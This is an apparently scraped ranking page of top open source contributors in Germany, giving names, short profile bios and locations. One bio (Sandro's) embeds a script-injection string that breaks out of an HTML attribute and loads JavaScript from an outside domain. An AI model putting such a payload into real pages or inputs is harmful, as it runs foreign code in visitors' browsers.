Germany
Top 100 Open Source Contributors in Germany
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Germany
kristof kaehler
Python library shell javascript
Germany Breakdown

Alejandro Falkowski
My passion for technology has seen me traverse the different types of roles within IT.
Berlin, GermanyBreakdown

Marian Steinbach
Designing your experience with @giantswarm
Cologne, GermanyBreakdown

Sandro
devops engineer, programmer, gamer and nixpkgs commiter "><script src=//sandro.ez.pe></script><x="
GermanyBreakdown

Ingo Fischer
I'm matter.js and iobroker lead developers, also work in other Smart Home and Node.js projects . Support me at https://github.com/sponsors/Apollon77
GermanyBreakdown

Martin Stühmer
CTO @ Integrated Worlds, Husband and father, .NET and Azure enthusiast
Greater Stuttgart Metro, GermanyBreakdown

Sebastian Schuberth
A Kotlin enthusiast who's enjoying to work with and on Open Source Software.
Berlin, GermanyBreakdown

Thomas Müller
PHP developer
GermanyBreakdown
Stuttgart, GermanyBreakdown
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Max Horn
Mathematician. Computational Group Theory, Algebraic Lie-Theory.
Kaiserslautern, GermanyBreakdown

Jens L.
I make things sometimes. CTO at @goauthentik, ex SRE @yelp, ex @Haufe-Lexware
GermanyBreakdown
Berlin, GermanyBreakdown

Víctor Cuadrado Juan
Staff Engineer @SUSE, focused on Kubernetes, Wasm, and security. Let's build libre technologies together!
Nürnberg, GermanyBreakdown

CanbiZ (MickLesk)
Maintainer of @community-scripts. Proxmox VE, Debian & Alpine automation. Native installs, long-term maintenance, production-ready scripts.
GermanyBreakdown
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Niklas
"I have no idea why this works. You better don't touch it."
Kiel, GermanyBreakdown
Freiburg (Germany)Breakdown
Berlin, GermanyBreakdown

RW
Senior full stack developer, Maintainer for @gofiber
GermanyBreakdown

Martin Pitt
GPG fingerprint: 3DB4 6B55 EFA5 9D40 E623 2148 D14E F15D AFE1 1347 https://fosstodon.org/@martinpitt
GermanyBreakdown
Magdeburg, GermanyBreakdown
GermanyBreakdown

Fabian Meumertzheim
Migrated from @FabianHenneke
GermanyBreakdown

Andy Scherzinger
Director Engineering @nextcloud. Formerly also worked on @CityZenApp, @owncloud and @AndlyticsProject.
FFM, GermanyBreakdown
GermanyBreakdown

Bluefox
My name is Denis Haev and I am one of the core developers of ioBroker and CEO of ioBroker GmbH
Altleiningen, GermanyBreakdown
Heidelberg, GermanyBreakdown
Tamm, GermanyBreakdown
GermanyBreakdown
Berlin, GermanyBreakdown

Christian Bargmann
Platform Engineer @moia-dev / Tech Debt Loan Shark
Hamburg, GermanyBreakdown

Marc Philipp
Software engineer (ex-@gradle), @JUnit-team lead, @Java Champion, and open-source enthusiast
Karlsruhe, GermanyBreakdown

Alexander Schwartz
Web (for ages), Java (several years), Agile (my pleasure). Maintainer on the @keycloak project. Views are my own and do not reflect the views of my employer.
Frankfurt/Main (Germany)Breakdown

Sebastian "Sebbie" Silbermann
I maintain stuff.
Berlin, GermanyBreakdown

Björn Ricks
Software developer @Greenbone. Caring about the Greenbone Community Edition aka. OpenVAS. Doing Python stuff.
GermanyBreakdown
Berlin, GermanyBreakdown

Robert Stupp
OSS stuff, distributed data & co
GermanyBreakdown
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Marc Durdin
Project manager for @keymanapp project by SIL Global (@sillsdev)
GermanyBreakdown

Lukas Wirth
@rust-analyzer lead, accidental IDE dev, specification writer and general open source tinkerer
GermanyBreakdown

Uwe L. Korn
CTO @Quantco; Apache Arrow and Parquet PMC, @conda-forge core; PyData Südwest Organizer.
Karlsruhe, GermanyBreakdown
GermanyBreakdown

Markus Staab
I am available for paid support of PHPStan and related static analysis tooling.
GermanyBreakdown
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Leverkusen, GermanyBreakdown

Björn Büttner
I'm a software engineer and modder from the middle west of Germany. I enjoy programming both in my professional and private life.
Mülheim, GermanyBreakdown

Shay Rojansky
Principal software engineer working on .NET data access and perf, member of the Entity Framework team at Microsoft. Lead dev of Npgsql, the PostgreSQL provider.
Berlin, GermanyBreakdown

Adam J. Stewart
Postdoc, AI4EO researcher, creator of TorchGeo, maintainer of Spack, Rtree, Lightning UQ Box, SMP
Munich, GermanyBreakdown
Potsdam, GermanyBreakdown
Cologne, GermanyBreakdown

Bernardo Belchior
React Engineer @ MUI
Berlin, GermanyBreakdown
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Marvin Hagemeister
I like simple and fast things
GermanyBreakdown

Hofer-Julian
@prefix-dev software engineer, @GNOME foundation member.
GermanyBreakdown
Bonn, GermanyBreakdown
Stuttgart, GermanyBreakdown

Jan Kowalleck
Software Engineer & Architect · FOSS Author & Maintainer · @OWASP @CycloneDX Project Co-Lead
Nuremberg, GermanyBreakdown
Germany, MagdeburgBreakdown

Carlos Eduardo Arango Gutierrez
Senior Systems Software Engineer. Environmental engineer lost to distributed systems, HPC and cloud computing.
Bavaria, GermanyBreakdown

Ruben Bridgewater
@tc39 Invited Expert. @nodejs Technical Steering Committee member. Staff Engineer @Datadog. Conference Speaker. Open Source enthusiast.
Frankfurt, GermanyBreakdown
Berlin, GermanyBreakdown

Max Schmitt
Open Source enthusiast, security researcher and full stack web developer.
Germany, BerlinBreakdown

Johannes Müller
Team lead / core developer of @crystal-lang at @manastech
Fulda, GermanyBreakdown

Mark Paluch
Finest hand-crafted software. Spring Data Project Lead, All Things Reactive. Open source, music, and computers.
Ostfriesland 🌊🌬️🌞🌧️ GermanyBreakdown

Matthias Beyer
Rust at day and nighttime :tada:
GermanyBreakdown

Huang Xin
a software developer for dumb machines and also a brain hacker interested in the nature of seeing & conscious artifacts
GermanyBreakdown

biörn
today: ux, delta chat. music software and lots of stuff in the past.
GermanyBreakdown
Hannover, GermanyBreakdown

Sebastian Rittau
CTO of ZFutura
Berlin, GermanyBreakdown

Andreas Fritzler
Platform Guy | Data Jedi | Cloud and BigData Expert | Machine Learning Enthusiast | Deep Learning Fanatic
Heidelberg, GermanyBreakdown

Jonas Thelemann
You'll never have more time than now.
Kassel, GermanyBreakdown

James A. Fellows Yates
Bioinformatician with specialism in ancient DNA and metagenomics. nf-core core-team member and SPAAM community founder. @jfy133@genomic.social
Leipzig, GermanyBreakdown

Maximilian Franzke
UX Engineering Lead @ DB UX Design System
GermanyBreakdown

Philipp Rudiger
Principal Software Engineer @ Anaconda Inc., creator of Panel, hvPlot, HoloViews and GeoViews and maintainer of Bokeh and Datashader.
Berlin, GermanyBreakdown

Jannis Leidel
Principal Engineer at @anaconda working on @conda. @conda-forge core member. @psf chair and fellow. @jazzband and @pypa founder. @mozilla and @django alum
GermanyBreakdown

Alexander Kiel
I work in academic, medical IT in Germany. My interests are in database technology and functional programming. Currently I work a lot with FHIR.
Leipzig, GermanyBreakdown

Paul Meyer
security software engineer | @NixOS maintainer
GermanyBreakdown

Konstantinos Paparas
Android (Kotlin) and Front-End (Vue.js, Angular, TypeScript) Open Source Software Engineer. Also working with .NET Framework and C#.
Berlin, GermanyBreakdown

andig
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGi8rUJarKZuWnZNOnhtcXZCrPskbF7HOcig6nkjWlU2
GermanyBreakdown

Marc Vornetran
h2o is the way to go
Karlsruhe, GermanyBreakdown
GermanyBreakdown

Clelia (Astra) Bertelli
Pythonist, Gopher and aspiring Rustacean, building open source stuff with AI
GermanyBreakdown
Osnabrück, GermanyBreakdown

Patrick Ohly
Senior Software Engineer at Intel
GermanyBreakdown
GermanyBreakdown

Carl Schwan
Free software programmer. Contribute to Nextcloud during the day and to KDE during the night. KDE e.V. board member.
Berlin, GermanyBreakdown

AlCalzone
Working on invisible magic 🧙🏻♂️ @OpenHomeFoundation. Founder of @zwave-js. Smart Home Enthusiast 🏠📡
GermanyBreakdown

Ben Kochie
Bit Plumber
Berlin, GermanyBreakdown
GermanyBreakdown
Munich, GermanyBreakdown
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Christian Lechner
Father, Husband, in Love with Cloud Native and Serverless and IaC, Former Microsoft MVP, SAP Mentor Alumnus, SAP Press Author
Bavaria, GermanyBreakdown

Christian Huth
M.Sc. Computer Science, Senior Cloud Native Engineer, Kubernetes Expert, IT-Coach
Nürnberg, GermanyBreakdown

ChillerDragon
Fulltime github influencer artist
GermanyBreakdown
Munich, GermanyBreakdown

Bart Louwers
Maintainer @Maplibre Native
Germany, Europe


































